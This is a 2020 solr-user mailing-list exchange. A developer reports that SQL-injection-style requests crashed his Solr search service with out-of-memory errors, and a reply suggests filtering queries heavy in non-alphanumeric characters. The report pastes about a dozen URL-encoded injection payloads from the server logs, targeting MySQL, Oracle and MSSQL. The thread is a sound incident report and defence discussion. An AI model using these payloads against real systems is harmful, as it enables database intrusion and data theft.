Hi Guilherme; The only thing I can think of right now is the number of non-alphanumeric characters.
In the first 'q' in your examples, after resolving the character escapes, 1/3 of characters are non-alphanumeric (* / = , etc). Maybe filter-out queries that contain too many non-alphanumeric characters before sending the request to Solr ? Whatever "too many" could be. Isabelle Giguère Computational Linguist & Java Developer Linguiste informaticienne & développeur java ________________________________ De : Guilherme Viteri <gvit...@ebi.ac.uk> Envoyé : 10 juin 2020 16:57 À : solr-user@lucene.apache.org <solr-user@lucene.apache.org> Objet : [EXTERNAL] - SolR OOM error due to query injection Hi, Environment: SolR 6.6.2, with org.apache.solr.solr-core:6.1.0. This setup has been running for at least 4 years without having OutOfMemory error. (it is never too late for an OOM…) This week, our search tool has been attacked via ‘sql injection’ like, and that led to an OOM. These requests weren’t aggressive that stressed the server with an excessive number of hits, however 5 to 10 request of this nature was enough to crash the server. I’ve come across a this link https://urldefense.com/v3/__https://stackoverflow.com/questions/26862474/prevent-from-solr-query-injections-when-using-solrj__;!!Obbck6kTJA!IdbT_RQCp3jXO5KJxMkWNJIRlNU9Hu1hnJsWqCWT_QS3zpZSAxYeFPM_hGWNwp3y$ <https://urldefense.com/v3/__https://stackoverflow.com/questions/26862474/prevent-from-solr-query-injections-when-using-solrj__;!!Obbck6kTJA!IdbT_RQCp3jXO5KJxMkWNJIRlNU9Hu1hnJsWqCWT_QS3zpZSAxYeFPM_hGWNwp3y$ >, however, that’s not what I am after. In our case we do allow lucene query and field search like title:Title or our ids have dash and if it get escaped, then the search won’t work properly. Does anyone have an idea ? Cheers G Here are some of the requests that appeared in the logs in relation to the attack (see below: sorry it is messy) query?q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x717a707871%2C%28SELECT%2F%2A%2A%2F%28ELT%283235%3D3235%2C1%29%29%29%2C0x717a626271%2C0x78%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22YBXk%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22YBXk&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x717a707871%2C%28SELECT%2F%2A%2A%2F%28ELT%283235%3D3235%2C1%29%29%29%2C0x717a626271%2C0x78%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22rDmG%22%3D%22rDmG&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F3641%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x717a707871%2C%28SELECT%2F%2A%2A%2F%28ELT%283641%3D3641%2C1%29%29%29%2C0x717a626271%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22dfkM%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22dfkM&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F3641%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x717a707871%2C%28SELECT%2F%2A%2A%2F%28ELT%283641%3D3641%2C1%29%29%29%2C0x717a626271%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22yBhx%22%3D%22yBhx&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F1695%3DCTXSYS.DRITHSX.SN%281695%2C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28112%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%281695%3D1695%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%2898%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22eEdc%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22eEdc&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F1695%3DCTXSYS.DRITHSX.SN%281695%2C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28112%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%281695%3D1695%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%2898%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22zAUD%22%3D%22zAUD&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F4144%3DCONVERT%28INT%2C%28SELECT%2F%2A%2A%2FCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%284144%3D4144%29%2F%2A%2A%2FTHEN%2F%2A%2A%2FCHAR%2849%29%2F%2A%2A%2FELSE%2F%2A%2A%2FCHAR%2848%29%2F%2A%2A%2FEND%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%2898%29%2BCHAR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22ePUW%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22ePUW&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F4144%3DCONVERT%28INT%2C%28SELECT%2F%2A%2A%2FCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%284144%3D4144%29%2F%2A%2A%2FTHEN%2F%2A%2A%2FCHAR%2849%29%2F%2A%2A%2FELSE%2F%2A%2A%2FCHAR%2848%29%2F%2A%2A%2FEND%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%2898%29%2BCHAR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22iTrx%22%3D%22iTrx&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F4277%2F%2A%2A%2FIN%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%284277%3D4277%29%2F%2A%2A%2FTHEN%2F%2A%2A%2FCHAR%2849%29%2F%2A%2A%2FELSE%2F%2A%2A%2FCHAR%2848%29%2F%2A%2A%2FEND%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%2898%29%2BCHAR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22SYJp%22%3D%22SYJp&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F4277%2F%2A%2A%2FIN%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%284277%3D4277%29%2F%2A%2A%2FTHEN%2F%2A%2A%2FCHAR%2849%29%2F%2A%2A%2FELSE%2F%2A%2A%2FCHAR%2848%29%2F%2A%2A%2FEND%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%2898%29%2BCHAR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22cqkL%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22cqkL&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F5643%3DDBMS_UTILITY.SQLID_TO_SQLHASH%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28112%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%285643%3D5643%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%2898%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22CJTY%22%3D%22CJTY&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true q=IPP%22%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F5643%3DDBMS_UTILITY.SQLID_TO_SQLHASH%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28112%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%285643%3D5643%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%2898%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%28%28%22QpiY%22%2F%2A%2A%2FLIKE%2F%2A%2A%2F%22QpiY&species=Homo%20sapiens&types=Reaction&types=Pathway&cluster=true